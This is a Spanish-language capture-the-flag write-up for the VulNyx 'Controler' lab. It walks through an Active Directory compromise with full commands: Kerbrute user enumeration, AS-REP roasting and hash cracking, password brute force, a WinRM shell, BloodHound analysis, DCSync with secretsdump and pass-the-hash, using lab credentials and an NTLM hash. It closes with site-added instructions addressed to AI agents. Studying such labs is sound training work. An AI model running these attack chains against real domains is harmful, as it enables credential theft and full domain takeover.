# Controler ## Introducción Muy buenas y bienvenidos a la resolución de la máquina Controler de VulNyx, esta una máquina hecha por d4t4s3c, el creador de la plataforma. Es muy buena máquina para el que quiera aprender Active Directory y tener una buena metodología. A continuación veremos las técnicas que nos encontraremos, vamos a poner todas las que hay: * **SMB Enumeration** * **Active Directory Enumeration** * **Kerberos Enumeration** * **AS-REP Roasting** * **DCSync Attack** * **Pass-The-Hash**

## Reconocimiento Empecemos con el reconocimiento activo, primero tenemos que encontrar que máquina es la Controler en nuestra red. Para ello utilizaremos `fping` que es mi herramienta preferida para hacer esto, pero se pueden utilizar otras como `arp-scan` o `nmap` . ```bash fping -asgq 192.168.1.0/24 ``` El resultado es: ```bash fping -asgq 192.168.1.0/24 192.168.1.1 192.168.1.45 192.168.1.47 ``` En este caso salen la 1, 45 y 47, mi máquina es la 45 y la Controler es la 47, en vuestro caso será otra. ### Nmap Ahora utilizaremos `nmap` para hacer un primer reconocimiento de puertos para descubrir los activos, junto con los servicios corriendo en cada uno e información. ```bash nmap -v -A -p- -T5 192.168.1.47 -oN nmap ``` Os saldrá una lista larga de puertos, mi recomendación para tener una buena metodología es coger cada uno de los puertos junto su servicio y ponerlo de la siguiente manera para cuando tengamos que priorizar por donde empezar. ```bash 53/tcp -->Simple DNS Plus 88 --> Kerberos 135 --> msrpc 139 --> netbios-ssn 389 --> LDAP 445 --> microsoft-ds 464 --> kpasswd 593 --> ncacn_http RPC HTTP 1.0 636 --> tcpwrapped 3268 --> ldap 3269 --> tcpwrapped 5985 --> Microsoft HTTPAPI httpd 2.0 9389 --> .NET Message Framing 47001 --> Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) ``` Por los puertos que hay nos estamos enfrentando a un **Windows Server con** **Active Directory** corriendo. ### Descubrir el nombre del dominio Para encontrarlo hay varias maneras, pero hay 2 exactamente que son las que suelo hacer yo: * **NetBios (139)** y **DNS (53)** suelen mostrar el nombre de dominio, o en el puerto 3389 (RDP). * Ejecutando netexec contra el servicio smb, que este incluso nos dará la versión del servidor. Lo que suelo hacer para descubrir el dominio y asegurarme cuál es, es utilizando el comando básico de `netexec` y no crackmapexec (ya que está deprecated, mejor utilizar el netexec). ``` netexec smb 192.168.1.47 ```

De esta manera, hasta ahora sabemos que tenemos un **Windows Server 2019** con el nombre de dominio **control.nyx.** Ponemos en el `/etc/hosts` el **control.nyx** referenciando a la IP `192.168.1.47`. ## Enumeración básica Me pasa que cuando me enfrento a un Active Directory me estreso al haber tanto puerto abierto, así que lo que hago es realizar una enumeración estructurada en 2 partes: * Sin credenciales * Con credenciales. Actualmente no tenemos ningún usuario ni contraseña con el que podamos validarnos al dominio, así que vamos a ejecutar varios comandos de pura metodología para reconocer cual puede ser el camino para ser domain admin: * Shares (null session) * RPC (null session) * LDAP (null session) Y si ninguno de los comandos sin credenciales nos da algo de información, lo siguiente sería encontrar usuarios con `Kerbrute` aunque podríamos intentar envenenar la red para ver si hay alguna carpeta compartida mal configurada o no existe que podamos recibir un NTLM-hash, pero no es el caso en esta máquina. ### SMB Shares (null session) Utilizaremos 3 herramientas diferentes para ver si nos saca alguna cosa, y si con una herramienta diferente cambia el output. ```bash smbclient -NL 192.168.1.47 ```

```bash smbmap --no-banner -H 192.168.1.47 ```

```bash netexec smb 192.168.1.47 -u '' -p '' --shares ```

Como podéis ver con ningúna podemos ver alguna carpeta compartida. ### RPC (null session) ```bash rpcclient -NU "" 192.168.1.47 -c "srvinfo" ```

Tampoco podemos sacar nada con el `rpcclient`. ### LDAP (null session) Probemos por último el LDAP. ```bash ldapsearch -x -H ldap://192.168.1.47 ```

Ya que no hemos encontrado nada, toca realizar un poco de fuerza bruta al puerto 88 con varias wordlist, a ver si alguna nos da un usuario válido. ### Kerbrute Enumeration Nos descargamos la herramienta por si no la tenemos en el [link ](https://github.com/ropnop/kerbrute)y ejecutamos el siguiente comando: ```bash ./kerbrute_linux_amd64 userenum -d control.nyx --dc 192.168.1.47 /usr/share/seclists/Usernames/Names/names.txt -o valid_ad_users ``` No me sale ningún usuario positivo.

Hay que pensar que en un entorno empresarial normalmente los usuarios no se suelen llamar David o Miguel a secas, muchas veces tienen nombres `m.alvarez` o `d.garcia` entonces tenemos que buscar otro tipo de wordlist, hay una wordlist muy famosa que se suele utilizar para Kerbrute.

{% embed url="" %} Entrando dentro vemos que tenemos una wordlist llamda `A.Z.surnames.txt` si entramos vemos que tiene la estructura que queremos.

La descargamos y volvemos a ejecutar el comando kerbrute. ```bash wget https://raw.githubusercontent.com/attackdebris/kerberos_enum_userlists/refs/heads/master/A-Z.Surnames.txt ``` ```bash ./kerbrute_linux_amd64 userenum -d control.nyx --dc 192.168.1.47 A-Z.Surnames.txt -o valid_ad_users ```

## Encontramos un usuario válido De acuerdo, entonces, ahora tenemos un usuario válido (**B.LEWIS**) pero seguimos sin tener credenciales... el siguiente paso y metodología que tenemos que seguir es preguntarnos a nosotros mismos: **¿Qué podemos hacer con este usuario?** En está situación podemos hacer los siguientes ataques: * AS-Rep Roasting * Password Spraying * Fuerza bruta con el usuario obtenido En este caso estaremos enfrentandonos a un **AS-Rep Roasting**. Quiero recordar así como nota, de que si tuvieramos un usuario y contraseña, entonces podriamos intentar atacar al dominio con un **Kerberoasting**. ## AS-Rep Roasting Para entender un poco como funciona este ataque por detrás y poner mejor contexto, voy a explicar un poco en que consiste este ataque. Este problema yace cuando el usuario (en este caso **B.LEWIS**) está mal configurado en sus propiedades, por detrás se vería de la siguiente manera al acceder a su cuenta: Esto se encuentra en `Usuario > Propiedades > Cuenta` .

Como veis, tiene activado el "No pedir la autenticación Kerberos previa"

Esto es cuando se ve desde dentro, pero esto no podemos verlo nosotros desde fuera, pero tenemos una manera de comprobarlo, y es con el script que viene pre-instalado con el paquete impacket: * **GetNPUsers.py** ```bash /usr/share/doc/python3-impacket/examples/GetNPUsers.py control.nyx/ -no-pass -usersfile user.dic ``` Con el comando de arriba podemos comprobar si el usuario en cuestión que no tenemos contraseña tiene puesto "No pedir la autenticación Kerberos previa" activado. Si no encontráis el script haced un `locate GetNPUsers.py` y os mostrará donde lo tenéis del sistema.

Si no fuera vulnerable no nos daría un hash, pero en este caso si, eso quiere decir que lo tiene activado y no hace una autenticación previa a Kerberos. Ahora cogemos el hash entero y lo guardamos en un archivo llamado hash y lo crackeamos con john ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

Nos da la password **101Music** para el usuario **B.LEWIS**. Cuando hemos obtenido una credenciales que parecen ser correctas, no nos vengamos arriba, primero tenemos que comprobar que funcionen, para ello utilizaremos `netexec`. Esto es un truco que me ha enseñado el propio creador de la máquina d4t4s3c que creo que es muy importante hacer:

Esto se hace por qué imaginad que no te han funcionado con el login al dominio, pero si con el local, eso quiere decir que si que existe, pero si no te va con ningúna ya nos dice que no funcionan. Esto se hace para evitar rabbit holes.

No tenemos que probar en local ya que ya nos funciono al loguearnos al dominio

## Enumeración con credenciales WIII, hemos encontrado credenciales correctas! Ahora tenemos varias opciones con credenciales, una de las más logicas es enumerar más usuarios del dominio, ya que ahora si que podremos hacerlo al tener las credenciales. ```bash netexec smb 192.168.1.47 -u 'B.LEWIS' -p '101Music' --users ```

Si el comando nos enumera más usuarios lo que tenemos que buscar es cuales de las cuentas están habilitadas.

Vemos que tenemos un nuevo usuario que tiene habilitada la cuenta `j.levy` así que probamos de encontrar su contraseña haciendo fuerza bruta. ```bash netexec smb 192.168.1.47 -u 'j.levy' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding ```

Nuevo usuario con contraseña `j.levy:Password1` sabiendo que ahora tenemos esta nueva credencial y en la enumeración de puertos, había el WinRM (5989) activo podemos intentar darnos una shell interactiva y conseguir acceso al dominio. ```bash evil-winrm -i 192.168.1.47 -u 'j.levy' -p 'Password1' ```

Conseguimos acceso al sistema! PERO, esperad, no tan rápido... ¿no os preguntáis por qué con este usuario sí hemos accedido al sistema y con el usuario `b.lewis` no se nos ocurrió? Pues aquí vamos a comentarlo, por qué yo si que me lo pregunté... aún soy novato con el **Active Directory** y lo que os diré ahora me hizo que entendiera como funciona realmente por detrás. He estado comentando este tema con d4t4s3c y me comenta que el usuario `b.lewis` está en el grupo de Samba pero no en el grupo Windows Remote Management, ya que una cosa no tiene que ver con la otra, es decir por detrás los grupos están gestionados así: * b.lewis: Grupo Samba * j.levy: Grupo Samba y Windows Remote Management Esto hace que podemos aprovecharnos que `j.levy` tiene ese grupo asignado para conectarnos por el puerto 5987 WinRM. ## Privilege Escalation La mejor manera de enumerar un dominio es con Bloodhound y Sharphound, sharphound para recopilar toda la información y bloodhound para analizarla. ### Bloodhound Primero pasamos el Sharphound.exe al dominio, para ello nos descargamos la siguiente versión que es la 4.3.1, que es la que funciona con mi versión de Bloodhound. {% embed url="" %} Una vez descargada la pasamos a la shell interactiva que tenemos:

Después ejecutamos: ``` .\Sharphound -c All ``` Y entonces nos generará un .zip que lo tenemos que descargar y pasarlo a nuesta máquina.

Una vez lo tenemos levantamos el demonio de `neo4j start` y entramos a bloodhound, seguidamente vamos a Upload Data (a la derecha en el panel) y subimos el .zip. Nos cargara la información recopilada del dominio.

Ahora tenemos que ir mirando cada una de las queries que vienen hasta que encontremos algo interesante ### DCSync Vamos a `Dangerous Privileges > Find Principals with DCSync Rights` y seleccionamos `control.nyx`.

Vemos que el usuario que tenemos en posesión tiene el privilegio `AllExtendedRights`

Clicamos encima del AllExtendedRights y le damos a Help

Seguidamente a Linux Abuse para ver como abusarlo desde Linux.

Si nosotros ejecutamos el comando de arriba podremos obtener las contraseñas almacenadas en el dominio, todo usuario que tenga el permiso AllExtendedRights tiene la capacidad de leer las contraseñas del dominio, de eso justo nos vamos a aprovechar con el comando de arriba. ```bash /usr/bin/impacket-secretsdump 'control.nyx'/'j.levy':'Password1'@'control.nyx' ```

Para más info del LAPS:

### Pass-The-Hash Cogemos el hash que hemos obtenido sacando la LAPS del dominio, obteniendo las credenciales de todos los usuarios, le ponemos el hash de administrator y obtenemos la shell con su usuario. ```bash evil-winrm -i 192.168.1.47 -u 'administrator' -H '48b20d4f3ea31b7234c92b71c90fbff7' ```

## Despedida Aquí acaba el writeup de la máquina Controler, espero que la hayáis disfrutado y aprendido mucho. Chao :smile: --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://j4ckie0x17.gitbook.io/notes-pentesting/writeups/vulnyx/controler.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.